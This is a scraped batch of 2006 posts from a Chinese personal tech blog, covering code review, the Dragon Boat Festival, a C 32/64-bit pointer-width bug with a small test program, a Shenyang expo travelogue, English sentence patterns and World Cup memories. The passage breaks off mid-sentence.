module拉取方案\n我们的做法是架设一个 git 认证代理，对内网开放 go get 协议的拉取，顺便可以实现路径映射。\u0026hellip;\n下一页 »\n分类 光影汇 (7) 影音坊 (36) 思考控 (66) 技术志 (845) 教育记 (2) 杂货铺 (75) 生活簿 (162) 职场录 (14) 读书吧 (15) 运动迷 (109) 驴友秀 (40) 标签 Blog Blogger C Cpp docker GC GCC github GNU Go Golang Google Gopher goroutine http Interface Java k8s Kubernetes Linux Opensource Package Programmer Python runtime Ubuntu Unix Windows 博客 容器 工作 巴萨 开源 思考 感悟 接口 摄影 标准库 梅西 泛型 生活 程序员 编译器 西甲 足球\n归档 2024 年五月 (6) 2024 年四月 (5) 2024 年三月 (1) 2024 年二月 (1) 2024 年一月 (4) 2023 年十二月 (8) 2023 年十一月 (6) 2023 年十月 (6) 2023 年九月 (5) 2023 年八月 (4) 2023 年七月 (6) 2023 年六月 (5) 2023 年五月 (6) 2023 年四月 (5) 2023 年三月 (7) 2023 年二月 (5) 2023 年一月 (3) 2022 年十二月 (4) 2022 年十一月 (5) 2022 年十月 (6) 2022 年九月 (5) 2022 年八月 (4) 2022 年七月 (5) 2022 年六月 (6) 2022 年五月 (10) 2022 年四月 (6) 2022 年三月 (11) 2022 年二月 (4) 2022 年一月 (2) 2021 年十二月 (7) 2021 年十一月 (6) 2021 年十月 (4) 2021 年九月 (5) 2021 年八月 (7) 2021 年七月 (7) 2021 年六月 (2) 2021 年五月 (2) 2021 年四月 (7) 2021 年三月 (7) 2021 年二月 (5) 2021 年一月 (4) 2020 年十二月 (11) 2020 年十一月 (9) 2020 年十月 (1) 2020 年九月 (1) 2020 年八月 (1) 2020 年七月 (1) 2020 年六月 (4) 2020 年五月 (3) 2020 年四月 (2) 2020 年三月 (6) 2020 年二月 (2) 2019 年十二月 (2) 2019 年十一月 (6) 2019 年十月 (5) 2019 年九月 (4) 2019 年八月 (5) 2019 年七月 (1) 2019 年六月 (2) 2019 年五月 (1) 2019 年四月 (4) 2019 年三月 (2) 2019 年二月 (1) 2019 年一月 (2) 2018 年十一月 (3) 2018 年十月 (1) 2018 年九月 (1) 2018 年七月 (1) 2018 年六月 (4) 2018 年五月 (2) 2018 年四月 (1) 2018 年三月 (3) 2018 年二月 (3) 2018 年一月 (7) 2017 年十二月 (5) 2017 年十一月 (4) 2017 年十月 (3) 2017 年九月 (2) 2017 年八月 (3) 2017 年七月 (4) 2017 年六月 (8) 2017 年五月 (5) 2017 年四月 (3) 2017 年三月 (2) 2017 年二月 (5) 2017 年一月 (7) 2016 年十二月 (7) 2016 年十一月 (7) 2016 年十月 (3) 2016 年九月 (2) 2016 年八月 (1) 2016 年六月 (2) 2016 年五月 (2) 2016 年四月 (2) 2016 年三月 (2) 2016 年二月 (3) 2016 年一月 (2) 2015 年十二月 (1) 2015 年十一月 (1) 2015 年十月 (1) 2015 年九月 (3) 2015 年八月 (5) 2015 年七月 (6) 2015 年六月 (4) 2015 年五月 (1) 2015 年四月 (2) 2015 年三月 (2) 2015 年一月 (2) 2014 年十二月 (5) 2014 年十一月 (8) 2014 年十月 (9) 2014 年九月 (2) 2014 年八月 (1) 2014 年七月 (1) 2014 年五月 (2) 2014 年四月 (5) 2014 年三月 (4) 2014 年二月 (1) 2014 年一月 (1) 2013 年十二月 (3) 2013 年十一月 (5) 2013 年十月 (6) 2013 年九月 (4) 2013 年八月 (5) 2013 年七月 (6) 2013 年六月 (2) 2013 年五月 (6) 2013 年四月 (3) 2013 年三月 (7) 2013 年二月 (4) 2013 年一月 (6) 2012 年十二月 (8) 2012 年十一月 (10) 2012 年十月 (5) 2012 年九月 (3) 2012 年八月 (10) 2012 年七月 (4) 2012 年六月 (2) 2012 年五月 (4) 2012 年四月 (10) 2012 年三月 (8) 2012 年二月 (6) 2012 年一月 (6) 2011 年十二月 (4) 2011 年十一月 (4) 2011 年十月 (5) 2011 年九月 (8) 2011 年八月 (7) 2011 年七月 (6) 2011 年六月 (7) 2011 年五月 (8) 2011 年四月 (6) 2011 年三月 (10) 2011 年二月 (7) 2011 年一月 (10) 2010 年十二月 (7) 2010 年十一月 (6) 2010 年十月 (7) 2010 年九月 (12) 2010 年八月 (8) 2010 年七月 (3) 2010 年六月 (5) 2010 年五月 (4) 2010 年四月 (2) 2010 年三月 (6) 2010 年二月 (4) 2010 年一月 (6) 2009 年十二月 (6) 2009 年十一月 (6) 2009 年十月 (5) 2009 年九月 (8) 2009 年八月 (8) 2009 年七月 (8) 2009 年六月 (2) 2009 年五月 (5) 2009 年四月 (7) 2009 年三月 (12) 2009 年二月 (9) 2009 年一月 (15) 2008 年十二月 (9) 2008 年十一月 (5) 2008 年十月 (10) 2008 年九月 (13) 2008 年八月 (13) 2008 年七月 (3) 2008 年六月 (1) 2008 年五月 (7) 2008 年四月 (4) 2008 年三月 (9) 2008 年二月 (11) 2008 年一月 (15) 2007 年十二月 (11) 2007 年十一月 (14) 2007 年十月 (4) 2007 年九月 (5) 2007 年八月 (1) 2007 年七月 (10) 2007 年六月 (10) 2007 年五月 (10) 2007 年四月 (8) 2007 年三月 (15) 2007 年二月 (4) 2007 年一月 (17) 2006 年十二月 (18) 2006 年十一月 (9) 2006 年十月 (11) 2006 年九月 (6) 2006 年八月 (5) 2006 年七月 (22) 2006 年六月 (35) 2006 年五月 (24) 2006 年四月 (26) 2006 年三月 (25) 2006 年二月 (18) 2006 年一月 (15) 2005 年十二月 (10) 2005 年十一月 (10) 2005 年九月 (13) 2005 年八月 (11) 2005 年七月 (6) 2005 年六月 (2) 2005 年五月 (3) 2005 年四月 (6) 2005 年三月 (1) 2005 年一月 (15) 2004 年十二月 (9) 2004 年十一月 (14) 2004 年十月 (2) 2004 年九月 (2) 链接 @douban @flickr @github @googlecode @picasa @slideshare @twitter @weibo Hoterran Lionel Messi Puras He 梦想风暴 磊磊落落的博客 过眼云烟 开源项目 buildc cbehave lcut 翻译项目 C语言编码风格和标准 《Programming in Haskell》中文翻译项目 View My Stats\n","permalink":"https://tonybai.com/2006/06/01/want-to-take-children-day/","summary":"\u003cp\u003e如发现本站页面被黑，比如：挂载广告、挖矿等恶意代码，请朋友们及时\u003ca href=\"mailto:bigwhite.cn@aliyun.com?subject=%E5%8F%91%E7%8E%B0%E5%8D%9A%E5%AE%A2%E9%A1%B5%E9%9D%A2%E4%B8%AD%E6%9C%89%E6%81%B6%E6%84%8F%E4%BB%A3%E7%A0%81\u0026amp;body=%E5%8F%91%E7%8E%B0%E5%8D%9A%E5%AE%A2%E9%A1%B5%E9%9D%A2%E4%B8%AD%E6%9C%89%E6%81%B6%E6%84%8F%E4%BB%A3%E7%A0%81\"\u003e联系我\u003c/a\u003e。十分感谢！ \u003ca href=\"https://time.geekbang.org/column/intro/100093501?code=cQ4ugiP4uzDdDVD1T-HXXlTv9Fdl-SpdsPnSfxf0%2FuU%3Dutm_term=wangzhan\"\u003e\u003cimg alt=\"Image 1: Go语言第一课\" loading=\"lazy\" src=\"/images/wp-content/uploads/geekbang-go-basic-course-logo.png\"\u003e\u003c/a\u003e\u003ca href=\"https://book.douban.com/subject/35720728/\"\u003e\u003cimg alt=\"Image 2: Go语言精进之路1\" loading=\"lazy\" src=\"/images/wp-content/uploads/go-programming-from-beginners-to-masters-vol1.png\"\u003e\u003c/a\u003e\u003ca href=\"https://book.douban.com/subject/35720729/\"\u003e\u003cimg alt=\"Image 3: Go语言精进之路2\" loading=\"lazy\" src=\"/images/wp-content/uploads/go-programming-from-beginners-to-masters-vol2.png\"\u003e\u003c/a\u003e商务合作请联系bigwhite.cn AT aliyun.com\u003c/p\u003e\n\u003ch3 id=\"欢迎使用邮件订阅我的博客\"\u003e欢迎使用邮件订阅我的博客\u003c/h3\u003e\n\u003cp\u003e输入邮箱订阅本站，只要有新文章发布，就会第一时间发送邮件通知你哦！\u003c/p\u003e","title":"也想过儿童节"},{"content":"记得刚到公司做第一个项目时，mentor要和我一起看看我刚实现完的一些代码，当时有些不解，难道是不相信我写的代码么？最后事实证明：我的代码中有很多缺陷，有的还是很严重的缺陷。后来知道这个过程叫’代码评审’，是保证软件质量的一种手段，而且是很重要的一种手段。代码评审的形式有多种，最正式的一种就是召集公司或者部门的一些’大牛’们，围坐在会议室中，一行一行的审查你的代码；简单的形式就像我和mentor做的那种，一个编写代码的人和一个对系统特别了解的人在一起评审，效果不见得不如正式的评审，起码我是这么认为的。\n那么什么时候进行代码评审呢？代码评审的粒度又该如何确定呢？一般在你的代码已具雏形，并且已通过单元测试，未提交进行集成测试之前的这个时机。评审的粒度要看代码的规模，当然评审的代码覆盖面越大，代码的质量越有保证。对于涉及业务流程较复杂的模块一定要和熟悉业务的人一起完成代码的评审，对这类模块应给予重点关注，因为往往业务流程逻辑的错误多于语言使用的错误。还有一个时机建议作代码评审，即在系统第一版发布后，如果有需求变动需要增加新功能，记住这时代码评审的效果可能好于简单的测试，当然两者都要有才能保证代码质量更高。\n粗略的想了一下，代码评审有以下几点好处：\n1、代码评审会尽可能的将Bug杀死在萌芽阶段\n实践证明：项目先期发现Bug的成本要远远小于后期发现Bug的成本，越早发现代码中的问题对整个系统的控制和把握就越有利。\n2、代码评审的过程是一个知识技能传承的过程，有利于新人成长\n代码评审类似于师傅手把手教徒弟，是知识、技巧和经验的直接传授，所以这样的机会是很难得的，特别是对于新人，要十分珍惜代码评审这样的机会，新人在这个环节中学习的效率和成果实践证明也都是最高的。\n3、代码评审会让你加深对系统的理解\n代码评审的过程实际上也是从新梳理思路的一个过程，特别是对于那些业务流程复杂的模块，和精通业务的人一起做代码评审可以让你加深对业务和系统的理解。\n总之，代码评审是必要的，而适当的加大代码评审的粒度，你将会收到意想不到的效果。\n","permalink":"https://tonybai.com/2006/05/31/code-review-is-necessary/","summary":"\u003cp\u003e记得刚到公司做第一个项目时，mentor要和我一起看看我刚实现完的一些代码，当时有些不解，难道是不相信我写的代码么？最后事实证明：我的代码中有很多缺陷，有的还是很严重的缺陷。后来知道这个过程叫’代码评审’，是保证软件质量的一种手段，而且是很重要的一种手段。代码评审的形式有多种，最正式的一种就是召集公司或者部门的一些’大牛’们，围坐在会议室中，一行一行的审查你的代码；简单的形式就像我和mentor做的那种，一个编写代码的人和一个对系统特别了解的人在一起评审，效果不见得不如正式的评审，起码我是这么认为的。\u003c/p\u003e","title":"代码评审很必要"},{"content":"又是一传统佳节-端午，每逢节日，大家的能做的无非两种：说(祝福)和吃，我在这篇的标题中已经包含了这两部分了^_^。\n好像今年早些时候听说韩国人把’端午节’抢注了，噢，对了，不叫抢注，叫抢先’审遗’了，今天又有新闻说：中国人花了3万美金从韩国人手中买回’端午节.cn’的域名，作为中国人我当然是很气愤了，真想大骂韩国人无耻。不过回过头一想谁让我们的政府不好好保护老祖宗留给我们的大好遗产的呢，长此以往重阳节、春节、元宵节将来都得被抢光了，东亚这些国家哪个不是’虎视眈眈’的，最差的情况就是以后过节都要交’专利’费了^_^。\n哪年端午都吃’粽子’，哪年端午吃的粽子都不如今年多。早在上一周各大超市就开始了’粽子战’，在强大的广告宣传攻势下，我也’屈服’了，买了为数不少的，种类繁多的小粽子，有猪肉的、牛肉的、叉烧的等等我爱吃的肉馅的，素的和最传统的那种不带馅的我不爱吃。今天才是端午节正日子，一早去食堂吃饭，本打算买两个肉包子吃，不料又赠送一个粽子和一个鸡蛋，一大早哪吃得下呀，决定留在中午再吃。中午去食堂吃饭，又被赠送了2个大粽子，三个粽子、一个鸡蛋，这下算是解决午饭问题了。虽说都是我不爱吃的那种不带馅的，但权当白米饭了，吃了再说，就这样三个粽子下肚了。中午接到GF电话，说她也买了若干粽子准备晚上到这来和我一起吃，晕倒。看来今天三顿饭是离不开粽子了。\n‘粽子曾可贵，GF价更高’呀，她买的哪敢不吃。但愿晚上做梦千万不要再吃粽子了。^_^\n祝大家2006端午节快乐！\n","permalink":"https://tonybai.com/2006/05/31/talk-and-eat-on-dragon-boat-festival/","summary":"\u003cp\u003e又是一传统佳节-端午，每逢节日，大家的能做的无非两种：说(祝福)和吃，我在这篇的标题中已经包含了这两部分了^_^。\u003c/p\u003e\n\u003cp\u003e好像今年早些时候听说韩国人把’端午节’抢注了，噢，对了，不叫抢注，叫抢先’审遗’了，今天又有新闻说：中国人花了3万美金从韩国人手中\u003ca href=\"http://tech.sina.com.cn/i/2006-05-31/0631966408.shtml\"\u003e买回’端午节.cn’的域名\u003c/a\u003e，作为中国人我当然是很气愤了，真想大骂韩国人无耻。不过回过头一想谁让我们的政府不好好保护老祖宗留给我们的大好遗产的呢，长此以往重阳节、春节、元宵节将来都得被抢光了，东亚这些国家哪个不是’虎视眈眈’的，最差的情况就是以后过节都要交’专利’费了^_^。\u003c/p\u003e","title":"说在端午，吃在端午"},{"content":"下午一同事发现代码中的一处问题，问题的现象是这样的：这位同事调用了一部门基础库函数，当使用32位编译后，程序正常运行；而当使用64位编译后，系统运行dump core。让这位同事奇怪的是他所修改的程序中还有其他模块也使用了同样的基础库函数，为什么偏偏他这块儿出错呢？恰恰该程序的其他模块是我写的。\n该程序调用的基础库函数大致是这样的：\ntypedef unsigned long my_size_t;\nint my_socket_recv(my_socket_t socket, char *buf, my_size_t *len, int timeout);\n而这个库函数的实现主要就是调用了系统的库函数：recv，通过man命令查到recv函数原型为：ssize_t recv(int s, void *buf, size_t len, int flags);\n而my_socket_recv的实现如下：\nint my_socket_recv (my_socket_t socket, char *buf, my_size_t *len, int timeout)\n{\nint rv;\n… …\nrv = recv(socket, buf, (*len), 0);\n… …\n}\n使用gdb察看core文件，通过栈上信息看出(*len)值有问题，有经验的人可能基本就可以断定问题所在了，对了，应该类型长度不匹配的问题，导致内存访问越界。同事的代码也证实了这一点。原来我的这位同事在调用my_socket_recv时第三个参数传入一个unsigned int型的地址，而不是unsigned long型的地址，我们知道在64位编译下，long型已经升级到8个字节，而int型依旧是4个字节，而size_t也是unsigned long的typedef，所以当调用recv时，通过len指针，recv系统调用毫无顾忌的去取8个字节，而实际上在栈上只有前四个字节是合法的数据，从第5个字节开始已经是非法的了，出core也就在情理之中了。我们可以简单的模拟出这种情况，如下面的例子：\n/* test.c */\n#include\nvoid print_long_int(unsigned long *i) {\nprintf(\u0026ldquo;i is %ld\\n\u0026rdquo;, *i);\n}\nint main() {\nunsigned int n = 1024;\nprint_long_int(\u0026amp;n);\nreturn 0;\n}\n64位编译：\ngcc -m64 -g test.c\n执行a.out出core.\n问题虽然解决了，但是思前想后，发现一个问题：即库函数调用暗藏的’陷阱’问题，像这样的问题实际上是基础库函数的接口设计的不够好，实际上它的正常运行依赖某些条件，而不是’无偿’的，但是这些条件又很难识别出来，特别是对于新手而言更是难上难。\n想出两种办法解决：\n1、不要设计像上面my_socket_recv这样的带有’隐含’条件的接口(recv系统调用接口就没有隐含条件)；\n2、调用接口的人不要想当然的随便传入不同类型的数据，应尽量保持实参数据类型与形参数据类型完全匹配(这块儿编译器可以帮你做检查)，如果不这样，很有可能像我的这位同事一样，掉入了库函数调用的陷阱中。^_^\n","permalink":"https://tonybai.com/2006/05/31/take-care-of-trap-when-invoking-lib-functions/","summary":"\u003cp\u003e下午一同事发现代码中的一处问题，问题的现象是这样的：这位同事调用了一部门基础库函数，当使用32位编译后，程序正常运行；而当使用64位编译后，系统运行dump core。让这位同事奇怪的是他所修改的程序中还有其他模块也使用了同样的基础库函数，为什么偏偏他这块儿出错呢？恰恰该程序的其他模块是我写的。\u003c/p\u003e","title":"小心库函数调用的'陷阱'"},{"content":"沈阳世界园艺博览会开幕已经快一个月了，自从到沈城工作之后，沈城的景点可以说一个都没去过，也许这会被很多人说成\u0026rsquo;不懂得生活\u0026rsquo;，也许就是这样吧。沈城进入夏天的速度那真叫一个快\u0026rsquo;，上个周末已经让我们感受到了\u0026rsquo;盛夏\u0026rsquo;的威力了。也就是在上周末，我和GF去游了一次世博会。\n听说五一黄金周世博会开幕期间接待了近200万游客，真是挺吓人，多亏五一加班，要不还不得不被\u0026rsquo;挤成饼\u0026rsquo;^_^。不过说实话，世博会的交通还是很方便的，铁路、公交专线、旅游专线、出租车任你挑选。我是在北站坐单程5元的公交线路去的世博园，赶上周末人还是很多，我们是一直站到世博园的。由于是周末，世博园加强了交通管制，不过恰恰是由于这些管制导致很宽阔的马路上居然堵车了，一些长得胖乎乎的交警趾高气扬的在那瞎指挥，车上是一片骂声，看来这些人在普通老百姓的心中名声并不太好呀。堵了近30多分钟，大巴终于驶入世博园。\n世博园正门是一个很大的广场，一下车就看到一场集体婚礼正在那举行中，由于时间有限，不能驻足，所以在心里默默祝福这些新人百年好合吧。世博园正门的标志性建筑之一的\u0026rsquo;凤之翼\u0026lsquo;格外耀眼，经了解得知：凤之翼长210米，中间贯穿10根斜拉钢索，建筑整体造型如凤凰展翅，象征着沈阳振兴腾飞之势，主塔下方是1000平方米的大型音乐喷泉。这么棒的主景观怎能放过，不过由于\u0026rsquo;凤之翼\u0026rsquo;太过庞大，在其下范围内很难拍到全景，我尽力将塔身上部全部收入照片中。\n欣赏到\u0026rsquo;风之翼\u0026rsquo;的壮观后，我们真正进入世博园，尽管已经过了高峰期，但是园中依然是人头攒动，密密麻麻，很多景点已经受到了人为破坏，环境卫生也并不理想。按照事先计划好的路线，我们开始了世博园之旅。从字面\u0026rsquo;世界园艺博览会\u0026rsquo;上我们也知道，园内多花草树木和一些有着地方特色的人造景观，如果按我的意图，我更想多看一些奇花异草，而不是那些人造景观。不过GF对花花草草毫无兴致，她专找人造景观合影，相机电力有限，只能顺着她来。\n我们沿着西南方向路线行走，首先参观的是西北、西南园区，这个园区包括西安园、西宁园、兰州园、银川园、乌鲁木齐园、拉萨园等八个主题园区，每个园区都不大，但是特色都很鲜明。由于刚开始逛，体力充沛，对每个主题园游览的都很细致，照片拍得也是最多的，由于园区较多，以致回去后整理照片时居然记不清哪些照片是属于哪个园的了^_^。我把一些照片放在我的相册中了，其中我自己比较喜欢的有\u0026rsquo;卧瓶出水\u0026rsquo;、\u0026rsquo;威武秦俑\u0026lsquo;和\u0026rsquo;挺立的胡杨木\u0026rsquo;。\n在西北、西南主题园区之后是另一个标志性景观\u0026rsquo;百花馆\u0026rsquo;，这个馆号称建筑面积12000平方米，是国内最大的花卉室内展馆。不过我自己觉得这个馆比起\u0026rsquo;凤之翼\u0026rsquo;要相形见绌不少，起码我没有看出什么亮点，除了馆内的那幅国内最大的马赛克镶嵌壁画\u0026rsquo;和平鸽\u0026rsquo;。不过这里却是个休息的好场所，背着那么多零食和水，不早点消灭光可是累赘亚。\n\u0026lsquo;水足食饱\u0026rsquo;之后，我们继续沿西南方向走，通过一道拉锁桥后，来到意大利园，这里的典型的哥特式建筑风格还是给我留下一些好感的，这里人不多，宁静淡雅，是青年人\u0026rsquo;发展感情\u0026rsquo;的好场所^_^。之后我们陆续路过牡丹园、美国园、俄罗斯园、英国园、韩国园、加拿大园，没有太多值得称道的地方，这里一笔带过。\n转过来，向世博园中央走，那里聚集着一些表演类项目，诸如俄罗斯大马戏、东北二人转、马战表演、水上表演等，我和GF都对水上表演情有独钟，遂来到人工湖前看表演，看表演的人很多，毕竟很多人和我们一样都是第一次看到这样的现场表演。表演的节目包括\u0026rsquo;水上特技滑板\u0026rsquo;、\u0026lsquo;特技摩托艇表演\u0026rsquo;和最惊险刺激的\u0026rsquo;摩托车飞越23米宽的湖心岛\u0026rsquo;。首先出演的是一对金发澳洲女郎的特技水上滑板，两个人的特技表演均有瑕疵，一些动作都是以失败告终的，不过现场观众还是给予了热烈的掌声的；接下来的特技摩托艇波澜不惊；而压轴戏摩托车飞越则是十分的好看，由于没有什么安全措施，所以大家还都挺替表演者担心的，结果是有惊无险，两个澳洲小伙子让我们饱了眼福。\n借着水上表演的余味未决，我和GF又继续参观国际园区，这里主要是东南亚和东亚国家的主题园区，和国内园区不同之处是这里好似杂货店，到处兜售所谓的\u0026rsquo;国外特色\u0026rsquo;产品，根据我的经验，好像除了尼泊尔园中的东西好像是真的，其余园里卖的感觉均是\u0026rsquo;赝品\u0026rsquo;，特别是在泰国园和马来西亚园中居然卖一模一样的东西让我更加肯定了我的想法。这点不能不说让人有些扫兴。不过我还是买了几串\u0026rsquo;土耳其烤肉\u0026rsquo;吃了起来，味道还不错，只是价钱太贵，10元一串。\n国内园区还没有走全呢，我们的相机的电池就已经坚持不住了，所以在国内园区少有留影，只一张\u0026rsquo;湖中小荷\u0026lsquo;还让我满意。国内园区是我们的最后一站。带着些许的遗憾，我们结束了这次世博园之旅。\n最后用一组还算顺口的话来总结一下这次世园会之旅吧：\n交管不利，车堵人怨，\n凤之翼景，的确壮观，\n百合塔身，未近谋面，\n人造景观，略显粗糙，\n游客如织，人多为患，\n公德意浅，环境受难，\n水上表演，有惊无险，\n国际园区，赝品泛滥，\n电池耗尽，难尽心愿，\n世园会游，疲惫不堪。\n","permalink":"https://tonybai.com/2006/05/30/sy-expo2006-tour-note/","summary":"\u003cp\u003e\u003ca href=\"http://www.expo2006sy.gov.cn/index.htm\"\u003e沈阳世界园艺博览会\u003c/a\u003e开幕已经快一个月了，自从到沈城工作之后，沈城的景点可以说一个都没去过，也许这会被很多人说成\u0026rsquo;不懂得生活\u0026rsquo;，也许就是这样吧。沈城进入夏天的速度那真叫一个快\u0026rsquo;，上个周末已经让我们感受到了\u0026rsquo;盛夏\u0026rsquo;的威力了。也就是在上周末，我和GF去游了一次世博会。\u003c/p\u003e\n\u003cp\u003e听说五一黄金周世博会开幕期间接待了近200万游客，真是挺吓人，多亏\u003ca href=\"http://tonybai.com/2006/04/24/work-overtime-on-may-day-vacation/\"\u003e五一加班\u003c/a\u003e，要不还不得不被\u0026rsquo;挤成饼\u0026rsquo;^_^。不过说实话，世博会的交通还是很方便的，铁路、公交专线、旅游专线、出租车任你挑选。我是在北站坐单程5元的公交线路去的世博园，赶上周末人还是很多，我们是一直站到世博园的。由于是周末，世博园加强了交通管制，不过恰恰是由于这些管制导致很宽阔的马路上居然堵车了，一些长得胖乎乎的交警趾高气扬的在那瞎指挥，车上是一片骂声，看来这些人在普通老百姓的心中名声并不太好呀。堵了近30多分钟，大巴终于驶入世博园。\u003c/p\u003e\n\u003cp\u003e世博园正门是一个很大的广场，一下车就看到一场集体婚礼正在那举行中，由于时间有限，不能驻足，所以在心里默默祝福这些新人百年好合吧。世博园正门的标志性建筑之一的\u0026rsquo;\u003ca href=\"http://www.flickr.com/photos/bigwhite/155629642/\"\u003e凤之翼\u003c/a\u003e\u0026lsquo;格外耀眼，经了解得知：凤之翼长210米，中间贯穿10根斜拉钢索，建筑整体造型如凤凰展翅，象征着沈阳振兴腾飞之势，主塔下方是1000平方米的大型音乐喷泉。这么棒的主景观怎能放过，不过由于\u0026rsquo;凤之翼\u0026rsquo;太过庞大，在其下范围内很难拍到全景，我尽力将塔身上部全部收入照片中。\u003c/p\u003e","title":"世界园艺博览会游记"},{"content":"学过英语的人可能都有这样的一个困惑，那就是：虽然学了很长时间英语，也掌握了5、6千的单词，但就是说不出来一句半句完整的英语来。这是为什么呢？最近看到了疯狂英语李阳的’突破句型’一书，里面的一句’句型就是一切’让我茅塞顿开。突然觉得要想学好口语，掌握一些日常最基本的句型(sentence patterns)真是必不可少亚。李阳的’突破句型’一书对常用句型的总结还是蛮全面的，而且对各句型的使用情景有说明，今天来学习其中的第一篇：生存必备的10个句型。\n一、Nice to do/Nice doing\n初次见面\nNice to meet you.\n见过面的\nNice/Good/Glad/Great/Pleased to see you again.\n外出旅行回来\nNice to be back home again.\nNice to see some friendly and familiar faces.\n道别时\nNice meeting you.\n结束谈话时\nNice talking to you. = It’s been nice talking to you.\n- Me too. See you later!\n二、How is/was …?\n1、How is …?\nHow is your familiy?\n- Everyone is doing great. How about yours?\nHow is your boy friend?\n- Didn’t you hear? We broke up a week ago.\nHow is your work?\n- I’m busy. I barely have time to sit down.\nHow is your English study?\n- Terrific. I’m really making a lot of progress. It’s amazing.\nHow is everything?\n- Couldn’t be better.\n[额外句型]\n如果用来问候一项正在进行的动作，可以用How is … going?\n如果用来问候m某人的时候，可以用How is … doing?\nHow is it going?\n- Everything is just going great. And you?\nHow is your new project?\n- It is a disaster. We are so far behind. I doubt we’ll ever finish.\nHow is your mother/sister/boss/ doing?\n2、How was …?\nHow was your trip?\n- Fantastic! I really had a greate time.\nHow was your vocation?\n– Awful! It rained everyday and my wife got sick.\nHow was your TOEFL exam?\n– Damn hard! I’m just glad that it is over.\n三、Let me …\n[TOP3]\nLet me help you.\nLet me show you how to do.\nLet me give you some advice.\nLet me hold this for you.\nLet me introduce myself.\nLet me drive you home.\nLet me tell you the truth.\nLet me get the doctor.\n其他用法\nLet me think/see.\nLet me have a look.\nLet me check.\nLet me try.\nLet me hear from you.\nLet me see if I will have time.\nLet me … 用于警告别人\nLet me alone.\nLet me in.\nLet me out of here.\nLet’s / Let’s not分别用于建议。\nLet’s stop here and have lunch.\nLet’s not forget the reason for the meeting.\nLet’s not have a break until we finish.\n四、I’d like to ….\n[TOP3]\nI’d like to talk to you for a minute.\nI’d like to introduce myself.\nI’d like to see you again.\n其他用法\nI’d like to buy a ticket to Beijing.\nI’d like to make an appointment with Mr. Green.\nI’d like to have dinner with you.\nI’d like to know more about China.\n五、I need …\n[TOP3]\nI need your help.\nI need more time.\nI need more money.\n[跟名词]\nI need your support on this matter.\nI need an assistant.\n[跟不定式]\nI need to finish my paper tonight.\nI need to think about it before I make a decision.\n六、I want to …\n[TOP3]\nI want to somebody.\nI want to thank you for everything.\nI want to go to America.\nI want to buy a ticket to Beijing.\nI want to take a rest.\n七、May I …?\n[TOP3]\nMay I help you?\nMay I sit down?\nMay I be execused?\n其他用法\nMay I sit here?\nMay I ask you a question?\nMay I speak to Linda, please?\n八、Can you … ?\n[TOP3]\nCan you wait a minute?\nCan you help me?\nCan you call me back later?\n其他用法\nCan you lend me your car?\nCan you give me some money?\nCan you share your house with me?\nCan you do me a favor?\n– Sure. What is it? Just ask.\n九、Would you please … ?\n[TOP3]\nWould you please give me a ride?\nWould you please calm down?\nWould you please give me a chance to explain?\nWould you please give me a hand?\n– Sure, What can I do for you?\nWould you please speak a little more slowly?\n– Sure, I’m sorry. Let me repeat what I just said.\n十、That sounds …\n[TOP3]\nThat sounds great/nice/interesting.\nThat sounds like a good idea.\nThat sounds like a lot of fun.\nI was thinking of taking you somewhere special for dinner tonight.\n– That sounds nice.\n","permalink":"https://tonybai.com/2006/05/29/learn-some-sentential-form-for-living/","summary":"\u003cp\u003e学过英语的人可能都有这样的一个困惑，那就是：虽然学了很长时间英语，也掌握了5、6千的单词，但就是说不出来一句半句完整的英语来。这是为什么呢？最近看到了\u003ca href=\"http://www.crazyenglish.com/\"\u003e疯狂英语\u003c/a\u003e李阳的’突破句型’一书，里面的一句’句型就是一切’让我茅塞顿开。突然觉得要想学好口语，掌握一些日常最基本的句型(sentence patterns)真是必不可少亚。李阳的’突破句型’一书对常用句型的总结还是蛮全面的，而且对各句型的使用情景有说明，今天来学习其中的第一篇：生存必备的10个句型。\u003c/p\u003e","title":"突破英语句型之'生存必备篇'"},{"content":"还有整整十天，2006德国世界杯的大幕就将拉开了。自己观看世界杯的历史应追溯到我上高二时，也就是1998年法国世界杯。我在初中的时候只知道翻弄书本学习，很少参加体育运动，到了高中后渐渐地性格开朗起来，开始和班级的同学们踢足球，时间长了居然上了瘾，球技也突飞猛进，因个人头球’出类拔萃’，遂被同学们戏称我们班的’金头’。我问其中一个同学：’金头’是谁的外号？他告诉我是德国著名前锋比埃尔霍夫，我心中疑惑，比埃尔霍夫是个什么样的人物呢，我不得而知。之后，除了踢球我也逐渐开始看足球报道，诸如’球报’、’体坛周报’等等，时间长了，那些球星的名字和经历也就烂熟于胸了，但是我不喜欢比埃尔霍夫，因为我不喜欢德国足球，相反位于南美的足球强国阿根廷却强烈的吸引着我，特别是我至今唯一的足球偶像-战神’巴蒂斯图塔’，爱屋及乌，这位球风狂野的南美前锋，让我对阿根廷队更加喜爱，并且对阿根廷队寄予了厚望。\n1998年是我进入足球世界的启蒙年，又恰逢世界杯年，因为有了心中偶像-巴蒂，钟爱球队-阿根廷，我开始看世界杯，每逢阿根廷队比赛，我都’心急如焚’，盼着早下晚自习，好回家看球，还好几乎每场比赛我都看到了下半场，记得当时小组赛，巴蒂一球斩落东瀛日本，三球狂屠鱼腩牙买加，赛前并不是最大热门的阿根廷前景看好，我自然心中欣喜，真希望阿根廷队能过关斩将，直到夺冠，还希望巴蒂能多多进球，那到金靴奖。阿根廷的好运依旧持续着，在与英格兰的八强战一役再次铸就经典，巴蒂和希勒的点球、欧文的一战成名、贝克汉姆染红、点球淘汰英格兰，俗话说：’福兮祸之所伏’，阿根廷的运气到此为止了，在四强战中，冰王子博格坎普的杂耍般的进球让阿根廷人认识到’人外有人，天外有天’的道理，阿根廷队铩羽而归。巴蒂在1998年夺得世界杯的梦想破灭了。之后，法国队凭借梦幻齐达内的两粒有力的头球，在自己的家门口击败了最大热门巴西队获得了世界杯。\n哪里有巴蒂，我就将目光转向哪里，巴蒂太需要冠军头衔了，因此他毅然离开了效力近10年的佛罗伦萨，投奔罗马，为了自己的冠军梦努力着。上天都开始怜悯巴蒂了。在2000-2001赛季的意甲联赛中，罗马队一技绝尘，最终获得联赛冠军。\n获得了意甲冠军的巴蒂开始为下一届世界杯努力着，这一天终于到来了，不多等待他的却是一次永远难以忘怀的痛苦记忆。在赛前阿根廷队在南美区预选赛中如入无人之境，过五关斩六将，一路提前n轮获得出线权，当时被媒体誉为2002世界杯最大夺冠热门，当时的阿根廷国家队也的确人才济济，连里克尔梅这样的天才球星都无缘入选，当时的阿根廷前场攻击组合可与目前巴西队的攻击组合媲美，骁勇善战的巴蒂，加上小毛驴奥尔特加、中场大将贝隆、小个子艾玛尔各个都是处在巅峰状态，后场萨穆埃尔、索林等也都是